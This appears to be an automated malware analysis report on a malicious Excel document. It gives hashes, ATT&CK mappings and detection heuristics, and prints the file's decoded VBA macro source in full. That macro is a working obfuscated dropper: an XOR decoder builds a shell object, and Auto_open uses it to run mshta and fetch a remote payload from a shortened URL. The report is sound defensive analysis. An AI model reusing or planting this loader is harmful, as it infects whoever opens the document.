Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cbbecefb4783bb2b…

MALICIOUS

Office (OLE)

71.0 KB Created: 2020-03-24 16:30:15 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 439a165836cd9356271028aa69d1655a SHA-1: e0070ced7aeacae1db910184673d585b2ca86917 SHA-256: cbbecefb4783bb2b14a73bc6c668154f504cfe59eed22cf5c3ea5ebc0a850a5a
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate/Decode Files or Information

This Excel document contains obfuscated VBA macros designed to execute automatically upon opening, as indicated by the Auto_Open and CreateObject firings. The script attempts to download and run a second-stage payload, a common dropper behavior. The ClamAV detection name 'Xls.Dropper.Agent-7640845-0' further supports this assessment.

Heuristics 6

  • ClamAV: Xls.Dropper.Agent-7640845-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7640845-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2143 bytes
SHA-256: 13be0f0eb93b3093fceba9c0b3c0c8b67c6cd6989a58c13d14a9ab32e4ddb4c3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AMJS"
Function v8p0(str As String) As Variant: Dim bytes() As Byte: bytes = str: v8p0 = bytes: End Function
Function qg5n(bytes() As Byte) As String: Dim str As String: str = bytes: qg5n = str: End Function

Function ib9vufqf(str As String) As String
    Const p_ As String = "wtpp47sz"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = v8p0(str)
    pb_ = v8p0(p_)
    
    Dim uL As Long
    uL = UBound(sb_)
    
    ReDim scb_(0 To uL) As Byte
    
    Dim idx As Long
    
    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If
    
    Next idx
    
    ib9vufqf = qg5n(scb_)
End Function


Public Sub Auto_open()
Set asd = CreateObject(ib9vufqf(chr(94)) & ib9vufqf(chr(90)) & ib9vufqf(chr(106) & "") & ib9vufqf(chr(123) & "" & chr(96) & "y" & "" & chr(125) & "") & ib9vufqf(chr(39) & "") & ib9vufqf(chr(90)) & ib9vufqf(chr(97) & "") & ib9vufqf(chr(108) & "") & ib9vufqf("e" & "" & "e"))
asd.Run ib9vufqf(chr(100) & "") & ib9vufqf(chr(122) & chr(97) & "") & ib9vufqf("}" & "" & chr(104) & "" & chr(41) & chr(97)) & ib9vufqf(chr(125) & "") & ib9vufqf(chr(125) & "") & ib9vufqf(chr(121) & "") & ib9vufqf(chr(51) & "") & ib9vufqf(chr(85)) & ib9vufqf(chr(85)) & ib9vufqf("c" & "" & "'") & ib9vufqf(chr(100) & "") & ib9vufqf(chr(121) & "" & "&" & ";" & "~" & "p" & chr(61) & "<" & chr(94) & "" & "f" & "")
End Sub

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